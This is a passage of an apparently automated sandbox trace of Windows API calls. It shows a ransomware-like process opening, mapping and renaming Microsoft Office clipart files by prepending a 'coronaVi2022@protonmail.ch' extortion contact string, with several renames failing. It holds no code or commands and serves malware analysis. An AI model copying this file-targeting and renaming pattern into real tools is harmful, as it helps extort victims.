	[0095.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbf4
	[0095.042] GetFileSizeEx (in: hFile=0xbf4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3521) returned 1
	[0095.042] CreateFileMappingA (hFile=0xbf4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc1, lpName=0x0) returned 0xbf8
	[0095.042] MapViewOfFile (hFileMappingObject=0xbf8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.044] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.044] CloseHandle (hObject=0xbf8) returned 1
	[0095.044] GetCurrentThreadId () returned 0x19b0
	[0095.044] FlushFileBuffers (hFile=0xbf4) returned 1
	[0095.045] CloseHandle (hObject=0xbf4) returned 1
	[0095.046] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 271
	[0095.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00120_.gif")) returned 0
	[0095.046] free (_Block=0x51f3088) 
	[0095.046] RtlExitUserThread (Status=0x0) 

Thread:
	id = 593
	os_tid = 0x19b4

	[0095.050] _alloca_probe () returned 0x40328a
	[0095.051] GetCurrentThreadId () returned 0x19b4
	[0095.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", dwFileAttributes=0x80) returned 1
	[0095.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbf8
	[0095.051] GetFileSizeEx (in: hFile=0xbf8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3169) returned 1
	[0095.051] CreateFileMappingA (hFile=0xbf8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc61, lpName=0x0) returned 0xbfc
	[0095.051] MapViewOfFile (hFileMappingObject=0xbfc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.052] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.052] CloseHandle (hObject=0xbfc) returned 1
	[0095.052] GetCurrentThreadId () returned 0x19b4
	[0095.052] FlushFileBuffers (hFile=0xbf8) returned 1
	[0095.054] CloseHandle (hObject=0xbf8) returned 1
	[0095.054] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 271
	[0095.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00126_.gif")) returned 0
	[0095.055] free (_Block=0x51f1078) 
	[0095.055] RtlExitUserThread (Status=0x0) 

Thread:
	id = 594
	os_tid = 0x19b8

	[0095.057] _alloca_probe () returned 0x40328a
	[0095.057] GetCurrentThreadId () returned 0x19b8
	[0095.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", dwFileAttributes=0x80) returned 1
	[0095.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbfc
	[0095.057] GetFileSizeEx (in: hFile=0xbfc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=12497) returned 1
	[0095.058] CreateFileMappingA (hFile=0xbfc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30d1, lpName=0x0) returned 0xc04
	[0095.058] MapViewOfFile (hFileMappingObject=0xc04, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.061] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.061] CloseHandle (hObject=0xc04) returned 1
	[0095.061] GetCurrentThreadId () returned 0x19b8
	[0095.061] FlushFileBuffers (hFile=0xbfc) returned 1
	[0095.064] CloseHandle (hObject=0xbfc) returned 1
	[0095.064] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 271
	[0095.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00129_.gif")) returned 0
	[0095.065] free (_Block=0x51f4090) 
	[0095.065] RtlExitUserThread (Status=0x0) 

Thread:
	id = 595
	os_tid = 0x19bc

	[0095.066] _alloca_probe () returned 0x40328a
	[0095.067] GetCurrentThreadId () returned 0x19bc
	[0095.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", dwFileAttributes=0x80) returned 1
	[0095.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc04
	[0095.067] GetFileSizeEx (in: hFile=0xc04, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5265) returned 1
	[0095.067] CreateFileMappingA (hFile=0xc04, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1491, lpName=0x0) returned 0xc08
	[0095.067] MapViewOfFile (hFileMappingObject=0xc08, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.069] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.069] CloseHandle (hObject=0xc08) returned 1
	[0095.069] GetCurrentThreadId () returned 0x19bc
	[0095.069] FlushFileBuffers (hFile=0xc04) returned 1
	[0095.070] CloseHandle (hObject=0xc04) returned 1
	[0095.071] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 271
	[0095.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00130_.gif")) returned 0
	[0095.071] free (_Block=0x51f5098) 
	[0095.071] RtlExitUserThread (Status=0x0) 

Thread:
	id = 596
	os_tid = 0x19c0

	[0095.073] _alloca_probe () returned 0x40328a
	[0095.073] GetCurrentThreadId () returned 0x19c0
	[0095.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", dwFileAttributes=0x80) returned 1
	[0095.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc08
	[0095.074] GetFileSizeEx (in: hFile=0xc08, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2625) returned 1
	[0095.074] CreateFileMappingA (hFile=0xc08, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa41, lpName=0x0) returned 0xc0c
	[0095.074] MapViewOfFile (hFileMappingObject=0xc0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.075] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.075] CloseHandle (hObject=0xc0c) returned 1
	[0095.075] GetCurrentThreadId () returned 0x19c0
	[0095.075] FlushFileBuffers (hFile=0xc08) returned 1
	[0095.077] CloseHandle (hObject=0xc08) returned 1
	[0095.077] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 271
	[0095.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif")) returned 0
	[0095.077] free (_Block=0x51f3088) 
	[0095.077] RtlExitUserThread (Status=0x0) 

Thread:
	id = 597
	os_tid = 0x19c4

	[0095.079] _alloca_probe () returned 0x40328a
	[0095.079] GetCurrentThreadId () returned 0x19c4
	[0095.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", dwFileAttributes=0x80) returned 1
	[0095.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0c
	[0095.080] GetFileSizeEx (in: hFile=0xc0c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=10641) returned 1
	[0095.080] CreateFileMappingA (hFile=0xc0c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2991, lpName=0x0) returned 0xc10
	[0095.080] MapViewOfFile (hFileMappingObject=0xc10, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.082] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.082] CloseHandle (hObject=0xc10) returned 1
	[0095.083] GetCurrentThreadId () returned 0x19c4
	[0095.083] FlushFileBuffers (hFile=0xc0c) returned 1
	[0095.084] CloseHandle (hObject=0xc0c) returned 1
	[0095.084] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 271
	[0095.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif")) returned 0
	[0095.085] free (_Block=0x51f60a0) 
	[0095.085] RtlExitUserThread (Status=0x0) 

Thread:
	id = 598
	os_tid = 0x19c8

	[0095.086] _alloca_probe () returned 0x40328a
	[0095.087] GetCurrentThreadId () returned 0x19c8
	[0095.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", dwFileAttributes=0x80) returned 1
	[0095.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc10
	[0095.087] GetFileSizeEx (in: hFile=0xc10, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15345) returned 1
	[0095.087] CreateFileMappingA (hFile=0xc10, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bf1, lpName=0x0) returned 0xc14
	[0095.087] MapViewOfFile (hFileMappingObject=0xc14, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.091] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.091] CloseHandle (hObject=0xc14) returned 1
	[0095.091] GetCurrentThreadId () returned 0x19c8
	[0095.091] FlushFileBuffers (hFile=0xc10) returned 1
	[0095.093] CloseHandle (hObject=0xc10) returned 1
	[0095.093] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 271
	[0095.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif")) returned 0
	[0095.093] free (_Block=0x51f0070) 
	[0095.093] RtlExitUserThread (Status=0x0) 

Thread:
	id = 599
	os_tid = 0x19cc

	[0095.095] _alloca_probe () returned 0x40328a
	[0095.095] GetCurrentThreadId () returned 0x19cc
	[0095.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", dwFileAttributes=0x80) returned 1
	[0095.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc14
	[0095.096] GetFileSizeEx (in: hFile=0xc14, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5329) returned 1
	[0095.096] CreateFileMappingA (hFile=0xc14, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14d1, lpName=0x0) returned 0xc18
	[0095.096] MapViewOfFile (hFileMappingObject=0xc18, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.097] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.097] CloseHandle (hObject=0xc18) returned 1
	[0095.098] GetCurrentThreadId () returned 0x19cc
	[0095.098] FlushFileBuffers (hFile=0xc14) returned 1
	[0095.100] CloseHandle (hObject=0xc14) returned 1
	[0095.100] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 271
